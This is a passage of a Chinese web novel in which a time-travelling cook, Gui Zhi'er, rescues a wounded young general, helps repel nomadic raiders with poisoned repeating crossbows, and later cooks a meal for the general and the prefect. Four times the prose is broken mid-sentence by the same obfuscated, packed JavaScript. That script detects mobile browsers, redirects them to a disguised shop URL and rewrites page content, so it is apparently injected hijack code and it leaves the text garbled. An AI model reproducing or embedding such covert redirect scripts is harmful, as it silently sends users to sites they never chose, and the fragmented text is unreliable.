达奴人的马并不高大，但筋骨精悍，最适合在冬季长途奔袭。 看来今夜难免一战。 刘善渊接过陌刀：“城门若守不住，便是巷战。” 他语调平缓，讲话却深沉有力。 “众将士，敌寇犯境，岂能贪生怕死？为了城中百姓，为了国境安宁，今夜我与大家齐心协力，共御外敌。” 陌刀通长一丈，两面刃刀闪着寒光，映衬出刘善渊刚毅的面庞。 他神情肃穆，消瘦的身躯在冷风中笔直□□。 即使知道文官的手是握笔的手，众军士依旧感觉心底涌上一股暖流。 从士气低迷变得信心满满。 既要战，那便战！ 桂枝儿看着眼前的总动员，心想自己可能是唯一没有被感染到的人。 她思绪有些飘忽。 如果就这么死了，任务进度依旧卡在98％，积分还要倒扣，真是划不来。 她斜倚着城墙，不声不响，甚至有些困倦地打了个哈欠。 灯笼光明暗交错，银簪子上的流苏叮当作响。 她仿佛被剥离在这个世界之外。 “桂小娘子，你的马要往城外跑，牵不住啊！” 小兵一句话，让众人的视线都汇聚过来。 桂枝儿愣住。 这白马，还挺有脾气。 马儿焦躁地踢着蹄子踱步，耳朵背向后方，见到桂枝儿后姿态更加挑衅。 它眼睛瞪大，仿佛在质问，为何不回去救它的主人。 “这马是……”刘善渊转头，才发现阴影处的桂枝儿。 “别人送的。”桂枝儿从怀里摸出一根仙灵草，递过去。 “咴儿咴儿。” 白马倔强地扭头拒绝。 桂枝儿有些无奈。 经历的世界越多，情绪就越麻木。 她遇到栾小将军，不过偶然看见一个新鲜玩意儿，朝气蓬勃，忍不住想逗两下。 可要让她从存活概率更高的城池中走出去，救一个不知生死的人…… 6. 萤火之光 边疆游牧人作战，无需精打细算筹集粮饷。 他们仅凭单骑灵活、速度快的优势，来中原劫掠一番便走。 杀人盈野，血流成渠。 桂枝儿明白，农耕经济靠的是贮蓄过冬。 而当草原干枯，乞颜乌什部落进入最动荡艰难的季节，对外扩张侵略就成了最便捷的生存方式。 “桂小娘子，今夜不大太平，你还是回店里等消息吧。” 蔡统领最先打破了平静，在他看来，那位小兄弟恐怕早已命丧马蹄了。 桂枝儿没说话。 远眺梅山，隐约有骑兵团身披锁子甲疾驰，领兵者头盔上装饰着羽毛，特征十分明显。 他们如狂风暴雨般席卷而来。 覆巢之下，焉有完卵？ 从侧门出城，绕个远，尽量避开达奴人的主力军队。 要是有缘再见就搭把手，碰不到那就是少年的命了。 瞬息之间，桂枝儿下定了决心。 “还望蔡统领行个方便，我从南门出去看一眼。”桂枝儿抱拳行礼，“若不成再做打算。” 她牵着马缰绳，目光灼灼，与适才的慵懒判若两人。 刘善渊闻言颦眉，冷风入体，让本就苍白的脸色更加惨淡。 身居高位久了，他险些想直接呵斥对方不知天高地厚，竟拿生命当儿戏。 但他忍住了，一个女子而已，不必为这等小事浪费精力。 “给她出城令牌。”刘善渊忍住不满，腰腹的旧伤隐隐作痛，睫毛上凝了一层寒霜。 他语调冷淡，不再多看桂枝儿一眼。 暮色吞噬中心府城。 打更老汉把铜锣敲得震天响，民兵自卫队举起了耒耜，扛起了斧头。 耄耋老人带着孩童躲进地窖，年长者颤颤巍巍，年幼的哭哭啼啼。 “小娘子，前面是不是打起来了！我儿……”一片纷乱中，蔡大娘看到骑马穿城的桂枝儿，捂着胸口不知所措。 怎么好端端的，达奴人就过来了呢？ 桂枝儿居高临下，怜悯地瞥向她，发出微不可闻的叹息声。 她的语气一如既往温和：“刀剑不长眼，大娘快躲起来吧。” 乱世中，平民百姓不过蝼蚁。 在黑夜里，蔡大娘看不清她的神情。 出了南门是护城河。 河里现如今积满淤泥，要等到开春才有冰雪融水。 白马凭借敏锐的听觉和嗅觉，在桂枝儿的稍稍引导下，就能精准地踏稳每一步路。 在最狭窄的河道边缘，奋力一跃，划出一道优美的弧线。 “真是一匹骏马。”桂枝儿心动不已，“回去救你的主人，咱俩都有可能没命。” 桂枝儿好声好气地商量：“不如我带你逃到凌河县，从此相依为命、浪迹天涯……” “咴儿咴儿。” 白马听不懂她的蛊惑，只管向前跑。 针叶林婆娑，白日余热已经散尽，雪山大地苍茫无言。 在这里，人类的肉眼可以直接看到浩瀚苍穹，恒星发出的光线混合在一起，形成乳白色的长条。 流动的星河下，一人一马显得十分渺小。 桂枝儿跨越过很多世界，已经快忘记了家乡是什么样子。 “你主人用的那杆红缨枪，可真漂亮。”桂枝儿忽然又来了兴致，“一寸长一寸强，不得不说，小将军很适合列阵突刺正面作战。” 马儿自然无法应答，桂枝儿感觉到一丝寂寥。 北方传来阵阵鼓声，红光窜起，想来是两军已经交战。 桂枝儿战术迂回对桩石附近，擦亮火折子，照明了黑咕隆咚的四周。 火光也映照出她的侧颜，低垂的眉眼典雅宁静。 用不着仔细寻觅，就看见了踪迹。 滴滴鲜血呈喷溅状，被雪半埋住的杂草、荆棘和藤蔓成片倒伏。 红与白交错相融。 环顾一圈，周边阴森可怖，让人压抑窒息。 桂枝儿潦草看了看，感觉不妙。 “有人吗？”她低声轻语，从随身空间里摸出了菜刀。 厨子用菜刀，很合理。 只有短暂的空旷回声。 “聪明人会干扰敌方行军节奏，虚张声势再伺机撤退。”桂枝儿琢磨着，“蠢蛋大概就以身殉国，只能帮你收个尸了。” 桂枝儿也摸不准，毕竟根据她对古代人的观察和刻板印象——忠君报国是人生追求。 她无权置喙。 即使大梁国已经外强中干、摇摇欲坠。 桂枝儿闻了闻，湿冷的空气混杂着血腥味儿。 “看来走的是这条路。”她早已翻身下马，手持火折在前方仔细寻觅。 白马紧随其后。 穿过低矮狭窄的灌木丛，这条去往小偏峰的道路而今鲜有人迹。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712081|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>桂枝儿一路走，一路警惕暗处是否有埋伏。 后背竟有了几分薄汗。 “呼。”她长舒了一口气。 没记错的话，前方就是断崖。那里有一块凸起的巨石，状若豺狼。 梅山景色虽美，却也处处潜藏着危机。 “啪嗒。”桂枝儿脚下踢到了什么东西。 低头一看，是几只柳叶箭镞。 这玩意穿透力强，专用于破甲，好在上面并没有血迹。 “没射中？”线索断在这里。 桂枝儿直起腰身，刚准备再细究一下，只听闻一道尖锐的破空声。 一杆红缨枪。 勇往直前，仿佛能刺破一切阻碍。 通体乌黑发亮，枪尖闪着寒光，但并没有握着它的手。 是被抛出来的。 桂枝儿轻易避开，惊喜地笑道：“小将军，你还没死啊！” “咳咳咳。”一阵憋了很久后被释放的，撕心裂肺的咳嗽声。 栾霜柏嗓音沙哑，但灰尘扑扑的脸上扬起笑容：“托姑娘的福。” 他躲在岩石下的阴影处。 若不是桂枝儿熟悉地形，很容易一脚踩空。 想来达奴人追兵就是被他这么甩掉的。 栾霜柏捂住胸口，箭簇没有扎透，多亏内里的甲胄起到了阻挡作用。 血红色晕开，像蜘蛛张开触角缓慢爬行。 他还是笑着，但嘴角惨白如纸。 “咴儿咴儿。” 白马焦急地想要回到主人身边，却被桂枝儿拴在树旁。 “我拉你上来，还有力气吗？”桂枝儿将菜刀别回刀鞘里，伸出手来。 栾霜柏看着那只手，修长有力，不似一般女子手如柔荑。 上方火折子的亮光像黑夜中的萤火虫，驱散阴霾。 让他一瞬间微红了眼眶。 他已经做好在这里慢性失血，默默无闻走向死亡的准备了。 可仅有一面之缘的人，回来向他伸出了手。 栾霜柏心底突然涌起无限的力量。 “劳烦姑娘。”他心跳开始加速，朗声应道，“我们一起杀回去，打他个落花流水！” “啊？”桂枝儿僵住。 这少年是不是话本子看多了，觉得自己伤病之身能以一抵十，大杀四方。 “马还你，你自己去送死。” 桂枝儿干脆利落。 7. 两把连弩 话虽这么说，栾霜柏被拉上来的一瞬间就蔫儿了。 达奴人的箭头有放血槽和倒刺。 论骑射术，在草原上奔跑的民族要比中原人强得多。 他头昏沉沉的，浑身乏力。 手紧紧地攥紧了破损的棉服，抑制住痛苦的呻''吟。 “轻点儿。”栾霜柏从嗓子眼里蹦出三个字。 他脖颈青筋暴起，含在眼眶里的水花，差点就不受控制。 男儿有泪不轻弹，好悬忍住，要不然这人就丢大发了。 桂枝儿也感觉有些棘手。 箭头回勾可能会带出更多血肉，贸然拔剑只会导致二次伤害。 “我需要再切开一点你的伤口，取出箭头，然后止血缝合。” 桂枝儿用手比划着。 条件有限，没办法做局部麻醉和清洁，不仅疼，还有很大几率会感染发炎。 但少年的伤势撑不了多久，也不宜移动。 要么搏一搏，要么等死。 “劳烦姑娘。”荒郊野外，栾霜柏只能选择相信桂枝儿的医术。 他闭了闭眼，撕下一块儿布条咬在嘴里，一副任人宰割的模样。 忐忑的表情显得柔顺可怜。 桂枝儿有些心软。 在她的家乡，这个年纪无论男孩女孩，大都还在学校自由徜徉。 而不是肩担重任需以命相搏。 她先是用几块石头，让火折子保持直立状态放在地面。 然后拔下盘在脑后的银簪子。 乌黑墨发散开，垂至腰间，同夜幕一样深邃。 栾霜柏还来不及惊叹她仙妖般的美貌，只见她从簪子的密闭机关里灵巧地抠出一粒药丸。 捏住他的下巴，硬是往嘴里一塞。 喉咙不自觉地吞咽。 “咕咚。”就咽了下去。 “什、什么东西？”栾霜柏不知所措。 桂枝儿拔刀出鞘，随口答道：“祖传的伸腿瞪眼丸，阎王让你三更死，我都能留你到五更。” 系统出品，必属精品。 然后不等栾霜柏反应过来，锋利的刀尖直接划破肌肤。 伴随着微弱的撕裂感，疼痛从刀口处蔓延。 栾霜柏猛的咬紧牙关，呼吸急促，心仿佛要跳出胸膛一般。 刀下的他是一只任人宰割的绵羊。 “放心吧。”桂枝儿一丝不苟地拔剑，“能活下来，到我店里，请你吃卤肉饭。” 寒冷的天气让人体逐渐失温，连血液的流速都变慢了。 栾霜柏迷迷糊糊，完全没有注意到桂枝儿是从哪里拿来的针线。 只记得缝合又快又稳。 脑海里幻想着桂枝儿最后说的卤肉饭。 肉质酥烂的猪五花，小火慢炖的汤汁，一口香甜的大米饭……越想肚子越饿。 再次清醒过来的时候，乌云已经不再遮月。 似乎已过子时，白马正亲昵地围着他打转，半是焦急，半是依恋。 “姑娘，府城怎么样了。”栾霜柏喘着气儿问。 四下一片寂寥，无人应答。 唯有夜虫在树上，偶尔鸣唱一声。 她走了？ 栾霜柏有些失落。 他低头看向胸口，伤口已经被妥帖地包裹好。 栾霜柏强撑着站起来，抵着树干喘息。 “小将军，你恢复的还挺快。”桂枝儿突兀出现，似乎掐着点等他苏醒。 她拿出两把冰冷锋利弓弩，递给他一把。 “这是……”栾霜柏惊讶地接过来。 “连弩。”桂枝儿拉动木质的连杆，勾弦、放弦一气呵成，“我放在狩猎点存着的。” 两军交锋，以弓矢为先。 “嗖嗖。” 连弩能装二十枝箭，每次发射两枝，所有的箭在十秒钟内都能完全发射出去。 箭尖扎进对面的树干里，尾翼还在微微颤动。 “当真巧妙，这是你自己设计的吗？”栾霜柏点头认可。 作为少将军，基本的军事素养还是有的。 在他看来，这种名为连弩的武器，射程远、射速快，最重要的是操作简单。 单兵使用可能杀伤力不大，但是若让当地的民兵百姓，通过简单训练进行自卫，还是绰绰有余的。 桂枝儿一眼就看透了他的想法。 淡淡补充了一句：“箭头还涂了点儿毒，七步草汁液。” 好狠。 但栾霜柏十分欣赏。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712082|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 战场上，对敌人的仁慈就是对自己的残忍。 “那我们……”栾霜柏三分犹疑，两分希冀。 上兵伐谋，其次伐交，其下攻城。 达奴劫匪没有选择凌河县，而是直接冲击中心府城，可能就是想打个措手不及。 没人料到他们肯翻越梅山天堑。 即使有两人拖延和通风报信的变数，府城防卫力量不足是事实。 “这有一篓子箭。”桂枝儿展示了斜挎背的竹篮，“铁首的飞凫箭交给你，平时打兔子用的骨箭、木箭，只能凑个数。” 不做便罢了，做就要有万全的打算。 城里城外往返那么多次，地形和伏击点她早已了熟于心。 “毒液彻底风干后效果就不明显了。”桂枝儿眼神坚定有力，“出发吧，小将军。” 她的长发已然盘起，袖口紧紧收拢，显得干脆利落。 栾霜柏也不啰嗦。 江湖儿女，萍水相逢就能并肩作战。 “委屈姑娘了。”他忍住伤痛，飞身上马，“若是箭射尽，达奴人还未退兵，就让雪影送姑娘离开。” 感受到桂枝儿一只手勒紧他的腰腹，栾霜柏耳尖微红。 月光如流水般倾泻，高处的针叶林，落下斑驳参差的黑影。 京城是小桥流水的江南风致，塞北却如此寒风凛冽。 但也不差，栾霜柏心想。 “我刚才治疗看到，你原本就有伤？”桂枝儿打破了宁静的氛围。 “沿途治安不太行，全是匪徒。”栾霜柏略显委屈。 明明他轻装简行，可自从离了京，接连碰到杀人劫道。 连住个店都是黑店，就没消停过。 桂枝儿若有所思：“听说你是圣上钦点的金科武状元，怎么会来镇北？” “蒙圣上隆恩，为我指了门婚。”栾霜柏一身正气，“大丈夫当先立业报国，所以我上书先到前线历练一下，再考虑终身大事。” “呃……有志气。” 竟敢驳回圣旨，大梁朝重文轻武，没有联姻牵制怎放心让将领独掌兵权。 以桂枝儿的浅薄之见—— 那小心眼皇帝，估计坐在养心殿直拍大腿：不听话的臣子怎么这么难杀！ 8. 擒贼擒王 浓烟滚滚，烈焰腾腾。 中心府城北门，已是一片人间炼狱。 双方军士在火海中挣扎，有人被烧伤正痛苦呼喊，有人被浓烟熏倒在地，任由战马踩踏。 火光将喷溅的鲜血映照得通红，烟呛得人喘不过气来。 达奴领头人乌什拓跋真，身形魁梧壮硕，如铁塔一般。 作为草原重骑兵，顶盔贯甲，铠甲一直覆盖到膝盖。 连马匹都从头到尾被保护在皮甲之下，只露出眼鼻耳尾和四蹄。 拓跋真的头盔上装饰着白色羽毛，脑后拖着一根辫子，毛发茂密卷曲。 他旋转着弯刀，眼底一片猩红，正高声呵斥手下。 “前进！” 冲进城内，有大把的金银财宝。 有囤积丰富的米面油粮，有部落过冬赖以生存的生活物资。 娇生惯养的中原人怎么也想不到，他只跟阿爷要了八百骑兵就敢翻越梅山。 火棍飞到城墙之上，以燎原之势破坏本就不大结实的城墙。 须臾间，滚石与箭雨齐飞。 “将士们，都坚持住！”蔡统领已经身先士卒冲出城门，与达奴人短兵相接。 他声嘶力竭地鼓舞着士气：“凌河驻军的增援就快到了！” 其实蔡淼清楚，即使棋牌兵以最快的速度去求援，中心府城脆弱的军备力量也撑不到天亮。 而作为新任知府大人，刘善渊还留在城墙上。 灯笼映衬下，他苍白的脸色回暖了些。 他站立在那里，如同一棵笔直的青松。 “老爷，要走吗？” 管家恭敬地弯腰请示，仿佛只要刘善源点头，他就能立刻带大人脱离重围。 刘善渊抿了抿干涸的唇。 适才通过他有条不紊的指挥，中心府城内临时的民兵自卫队已经集结完毕。 “已经打到家门口了，再往哪里退？”刘善渊语调很平静，“身后是黎民百姓，大梁的国门，得守住！” 他的呼吸缓慢而深沉，左手用力抚着腰间吊坠。 “持长杆利器的壮丁向前支援，其余人继续挖壕沟，待敌人进城先砍马腿。”刘善渊提起了陌刀。 娴熟的架势并不像第一次上战场的文官。 城门开，下一步便是刀刀见血的肉搏。 “嗖嗖。” 两支铁首飞凫箭扎透了达奴人外围的轻骑兵。 “啊——”坠落在地的士兵蜷缩着大腿，不停抽搐，伤口处很快就溃烂发黑。 轻骑赖以生存的是灵活机动性，并没有沉重的防护甲。 这在混乱的战局中毫不起眼。 “嗖嗖。”又是两箭。 这次却是骨箭，不够锋利，但射击马腹绰绰有余。 马匹吃痛，引颈长鸣，而后将背上的士兵摔了下来。 射人先射马，擒贼先擒王。 “有偷袭，后方有偷袭！” 冷箭频发，终于有达奴人察觉出不对劲，惊惶地喊叫着。 领头的乌什拓跋真并不在意。 中原人狡诈，可无论埋伏还是偷袭，在绝对的武力压制面前，都不值一提。 他猛蹬战马，直取蔡淼。 蔡统领见势不妙，咬牙迎上前。 “噔。”火花四溅。 长枪与弯刀的较量，不分高下，但达奴人优良的防御装备，让蔡淼数次攻势落空。 交手十几个回合后，蔡淼一枪搠去，拓跋真迅速闪过。 他挟住枪，只一拖，便让蔡淼滚下马来。 “哈哈哈哈哈哈哈哈。”拓跋真不屑，仰天大笑，“大梁将领不过如此，还有谁敢一战！” 他自恃天生神力，并不将区区掌兵将放在眼里。 蔡淼羞愧难当，眼见拓跋真要一刀结果了他。 “嗖。” 一只骨箭，遥遥穿过人群。 像优雅的白羽鸽，轻盈、敏捷地飞了过来。 箭头穿透眼球，拓跋真只觉一阵剧烈的疼痛，右眼瞬间变得模糊不清。 血迹从伤口处流出，在脸上形成一道蜿蜒的血线。 “是谁？是谁！”拓跋真愤怒地咆哮，“卑鄙无耻的小人，滚出来！” “傻子才出去。”一击得手的桂枝儿，藏在城门外的梅花树下。 她披了一件从空间中取出的白色裘衣作掩饰，与未融化透彻的雪堆混为一体。 “姑娘躲好，我去会会他。” 栾霜柏闻言热血上涌，夹紧马腹窜了出去。 白马雪影在一片箭雨中飘逸走位。 暴怒的拓跋真，硬生生拔出箭头，嘶吼着将全部怨气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712083|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都发泄在挥舞的弯刀上。 刀弧犹如闪电，划破焦灼的空气，发出尖锐呼啸。 凌厉杀气，让周围士兵不寒而栗。 斗到深处，栾霜柏卖了个破绽，让拓跋真把弯刀直往心窝里捅。 他舒展臂弯，款扭狼腰，只一挟，便折住拓跋真持刀的手腕。 掰了两下，没掰动。 “嗯？” 栾霜柏心中一惊，他没料到拓跋真竟是如此大力士。 “明明告诉过你，毒液彻底风干后效果就不明显了。”桂枝儿无奈地嘟囔，“非要逞英雄。” 趁二人僵持之际，摔落在地的蔡统领捡起火棍袭击拓跋真的坐骑。 马匹受惊，为栾霜柏争取了时间。 见状，桂枝儿顺手折了身后一枝梅花。 它的枝干苍劲有力，花瓣洁白如雪，花蕊带着一丝粉红。 桂枝儿的故乡有个理念：叫“来都来了”。 “来都来了，总得搭把手。”桂枝儿轻点足尖，利用斗篷卷起的气流展翼高飞。 “大梁有没有将领不关我的事，你们可别打劫我的卤味店啊……” 微风拂过，梅花轻轻摇曳，散发出淡淡香气。 桂枝儿轻飘飘地略过杂乱血腥的战场，谪仙一般，施展出融合了逍遥派武功的擒拿法。 以柔克刚，借力打力。 “姑娘仗义！”栾霜柏爽朗一笑。 两人协作默契，分左右架住了拓跋真的身位。 恰在此时，一柄闪着寒光的陌刀，如蛟龙出海。 刀横飞而来，掐着瞬息时刻割裂了拓跋真的脖颈。 “好快的飞刀！” 桂枝儿扭头，对上的正是刘善渊深邃的眼眸。 他颦眉移开视线，忍住腰腹旧伤，冷静残酷地下达指令：“敌军将领已死，速战速决，穷寇莫追！” “三公子没了，完蛋了，快撤啊！”达奴人用叽里呱啦的方言传递着讯号。 惶惶如丧家之犬。 局势瞬间逆转。 桂枝儿却有种不祥的预感。 此人看起来在乞颜乌什部落颇有地位，他死了，不知会引来怎样的疯狂报复。 清晨，有金色自上而下拂过雪山尖尖，蜿蜒的山脉上白云卷腾。 日照金山，天亮了。 9. 卤肉拌饭 劫后余生的蔡统领指挥手下在废墟中打扫战场，逐个抢救伤员。 一队小兵远远奔来，沿途纵马疾驰，个个神情焦虑，连身下的马匹都喘着粗气。 “大人，凌河县令不信达奴人能翻越梅山，还在跟驻军争执，只准一伍军士跟我们回来探查情况。” 棋牌兵差点哭出声来，语无伦次，他以为回来之后看到的，只剩被烧杀劫掠的府城。 万幸万幸！ 灭火后只残留下焦黑、坍塌的城墙，更有小兵被弯刀砍断臂膀，躺在地上抽搐。 桂枝儿看着眼前的烂摊子，很果断地选择回城收拾行李。 “三十六计走位上。” 无论哀嚎还是血迹都不能让她再次心软。 清晨的空气透着寒意，她裹紧了裘衣外袍。 逐渐苏醒的街市今日空无一人，往常挑着担子的小贩们，可能还藏在家中地窖瑟瑟发抖，不敢露头。 “原以为北境极寒地带，山珍稀有，就地取材做些美食能完成任务。”桂枝儿琢磨着，“可这进度卡得一动不动。” 98%，离回家只有一步之遥。 桂枝儿实在是不甘心。 “走了那么多世界，论普通人生存，还得是在和平年代、法治社会。”桂枝儿仿佛一个局外人，怜悯地叹了口气。 为今之计，保命要紧。 若是乞颜乌什部落再集结人马反扑一次，中心府城的残存兵力可抵挡不住。 桂枝儿回到卤味店，后厨萦绕着淡淡的食材香味。 其中最显眼的，是她特意找木匠敲打的调料架。 颗粒状的胡椒香中带辣，晒干的月桂叶呈灰绿色，磨碎的孜然芹更是烤肉的绝佳配料。 一切井井有条，看出主人对这片领域保持着绝佳的掌控能力。 桂枝儿眼睛半眯，困倦地打了个哈欠。 奔波一天一夜，饶是精力充沛也有些撑不住了。 “就眯一会儿，然后再收拾。” 桂枝儿拖着疲倦的身体洗漱完，倒在卧榻上，昏昏沉沉地睡了过去。 在梦中，达奴人拓跋真以一敌三，表情狰狞地张开血盆大口。 “果然不该多管闲事。”桂枝儿悔恨已迟，陷入一片混沌虚幻的黑洞之中。 据说任务失败又没有足够积分跳跃到下一个世界的人，就会永远留在这里。 “未检测到宿主存活，执行自毁程序。” 系统冰冷地播报着最后结局。 桂枝儿惊醒，后背有一层冷汗。想来即使尽力催眠自己不要在意，但亲历过战场还是会有心理阴影。 看日光渐落，大约已是黄昏。 “咚咚咚，咚咚咚！”声音轻重有度。 不知是何人在敲门。 桂枝儿定定心神，披上外袍，随手挽了个垂云发髻。 她摸出菜刀，强迫自己清醒，向门口走去。 “吱呀。” 插销被拔开，门板向外一推，露出来人。 少年换了一件干净的布衣，棉服下摆略短。虽然尺寸有些不合身，但凭着宽肩窄腰，依旧颇为俊朗。 正是休整完毕的小将军。 “桂姑娘，你果然在家！”栾霜柏惊喜热切地招呼道，而后视线下移，猛然一惊，后退半步。 “怎么了？” “嘶……”栾霜柏心有余悸，“没、没事，我就是看到这把刀，伤口疼。” 桂枝儿无奈：“你当大英雄的时候怎么不觉得疼。” 栾霜柏这一退，便露出了身后来客。 男子身着窄袖式素纱绵衣，颜色淡雅，纹样简单。举止矜持有度，有种莫名的疏离感。 “桂小娘子，多有叨扰，我和栾少将此番冒昧前来，不知小店还营业吗？”刘善渊声音温和、不疾不徐。 跟在战场上的冷硬作风判若两人。 就算不营业，难道能把您，堂堂知府大人拒之门外吗？ 桂枝儿怀疑自己有起床气。 想撕开刘善渊的虚伪，看看面具之后的真实容貌是什么样子。 她忍住不满，浅浅行了个万福礼：“二位大人，寒舍简陋，想吃点什么？” “卤肉饭可以吗？”栾霜柏眼神一亮。 他的眼睛里还有不少红血丝，像只小兔子。 都说伤筋动骨一百天，多亏桂枝儿好心提供的系统保命药，栾小将军目前活蹦乱跳。 唯独雪盲症还要慢慢恢复。 卤肉饭有些腻味，倘有些爽口的…… 刘善渊还在沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712084|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思要什么菜肴，桂枝儿已经一点头，大步向门内走了，没有丝毫征求他意见的迹象。 刘善渊掩藏了自己微微错愕的表情。 灶火重燃，炊烟袅袅升起。 北境的冬日白昼很短，夕阳下的小店看似不起眼，却足以抚慰焦虑不安的人心。 桂枝儿手法娴熟地在灶前忙碌着。 她将颗粒饱满、色泽清白透明的大米淘洗两次，放入竹制蒸笼。 取出精选的三层五花肉，比例恰当，若多一两肥肉显得油脂丰满，多一两瘦肉则又干涩松散。 桂枝儿轻松惬意地将肉块切成丁。 “呲啦！” 红葱头下锅，在热油中煎炸，除了去腥、提味之外，略带辛辣的浓郁风味也四散开来。 卤肉时，洋葱可以说是关键。 “我都闻到味儿了。”栾霜柏感觉胃部十分空虚，正在发出咕噜声，“真想去看看桂姑娘是怎么做的，这么香！” “君子远庖厨。”刘善渊心平气和。 二人坐在邻近火墙的木质餐桌边等待，仅凭嗅觉猜测晚餐制作进行到什么程度。 栾霜柏毫不客气地反问：“那大人怎么还肯主动帮忙剥毛豆？” 刘善渊用修长的手指轻轻捏住一头，沿着长度方向慢慢剥去外皮。 几粒完整无损的毛豆就蹦到洁白的瓷碗里。 “毛豆丝瓜汤，口味清淡，我觉得很好。”他面色不改。 紧接着，刘善渊略微抬高音调问：“小娘子，剥一碗差不多够了吧？” 无人回应。 后厨，肉丁已炒至变色，桂枝儿依次撒入胡椒粉、五香粉炒香。 随后用几粒冰糖中和酱油的咸味，增添爽口甘甜。 在她的翻炒下，锅中肉逐渐软弹有光泽，卤汁也变得更加浓稠香滑。 “隔这么远，桂姑娘又听不见。”栾霜柏干脆起身，“我去帮你问问。” “这样啊。”刘善渊微微笑道，“我还以为你们习武之人，都是听觉十分敏锐的。” 已读，不回。 桂枝儿联想到之前新旧两任知府在小店的对话，随手剁着葱花：呵，狗官，还想诈我。 甭管你们有几百个心眼子，吃完这顿散伙饭，大家各奔东西。 10. 温室大棚 当稻米蒸煮完成后，桂枝儿将其分为三碗。 再盛出一勺浓郁鲜香的卤肉，淋在热气腾腾的米饭上。 瞬间，米饭汲取卤汁精华，愈发油亮诱人。 栾霜柏端着剥好的毛豆进来时，看到的就是这幅令人食欲大增的景象。 “色香味俱佳，姑娘你这厨艺真是绝了！” 还未品尝，栾霜柏就直言夸赞，情绪价值拉满。 想到北境军部经略府，在边防一线凌河县，栾霜柏恨不得邀请桂枝儿去那里开店。 “卤肉拌饭，承惠二十八个铜板一碗。” 桂枝儿抿唇一笑，眉眼弯弯。交情归交情，生意是生意。 栾霜柏的表情凝滞了。 他手指哆嗦了两下，开始在身上翻找余钱，似乎有些窘迫。 小兔子耳朵尴尬地耷拉下来。 果然，笑容并不会消失，只会转移。 桂枝儿一边向锅中添水一边回复：“开个玩笑小将军，说过请你吃的。” 虽不知当今圣上为栾霜柏指婚了哪家贵女，她就一个建议——入赘吧。 按大梁国情，穷不领兵，粮草饷银可都不是小数目。 “多谢姑娘，待我发了例钱一定来照顾你的生意。”栾霜柏信誓旦旦。 啧，天真。 桂枝儿不客气地将栾霜柏赶出去，取出热水浸泡后的丝瓜，剥离条棱。 待食物全部制作完成，已是酉时正点。 当中一碗丝瓜汤，色泽清亮。 毛豆的鲜嫩与丝瓜的爽滑浑然一体，加上驱寒保暖的姜末，简单但不简陋。 “自古农谚有言，清明前后、种瓜点豆。”刘善渊舀起一勺汤，“小娘子能在这寒冬腊月煲丝瓜汤，想来必有妙计。” 也不知是谁拐弯抹角说想吃这道菜。 桂枝儿被刘善渊颠倒黑白的说话技巧所折服。 “小院建了一座陶土温室，冬天比较暖和。”桂枝儿毫不避讳，“类似一个大瓦盆，中央是凹陷的，装满泥土再用石头围起来，最后覆盖瓦片。” 她用手认真地比划出形状，没有藏私。 说穿了就是温室大棚技术，让蔬菜能生长在一个相对稳定的环境中，产量自然大幅增加。 “巧夺天工。”刘善渊颔首称叹，“小娘子这等精妙的手艺师承何人？” “我夫君入伍前是种地的一把好手。”桂枝儿面露思念，声音有些委屈。 在烛火的映照下，桂枝儿面色恬静文雅，垂云发髻似一朵朵盛开的云彩自然落下。 遇事不决，推给夫君。 再说了，少装不知情，你的管家偷摸进瓦棚看，土里的鞋印都没擦干净。 桂枝儿在内心深处揶揄。 刘善渊愣了一下，似乎这才意识到桂枝儿是有家室的人。 栾霜柏则更为错愕，筷子“吧嗒”一声掉在桌面上，嘴唇蠕动，不知当问不当问。 静默片刻后，两人不约而同端起饭碗。 卤肉肥瘦相间，入口即化，配上又香又糯的蒸米饭，令人垂涎欲滴。 些许葱花的清香更是锦上添花。 再喝口汤，清爽解腻，浑身疲惫一扫而空。 晚膳进入尾声，栾霜柏拿出连弩，道明来意：“姑娘，此番前来主要是想跟你商议一事。” 强弩在弦，作为独特的机械武器，和戈、戟等冷兵器又有着很大区别。 难怪他们会动心。 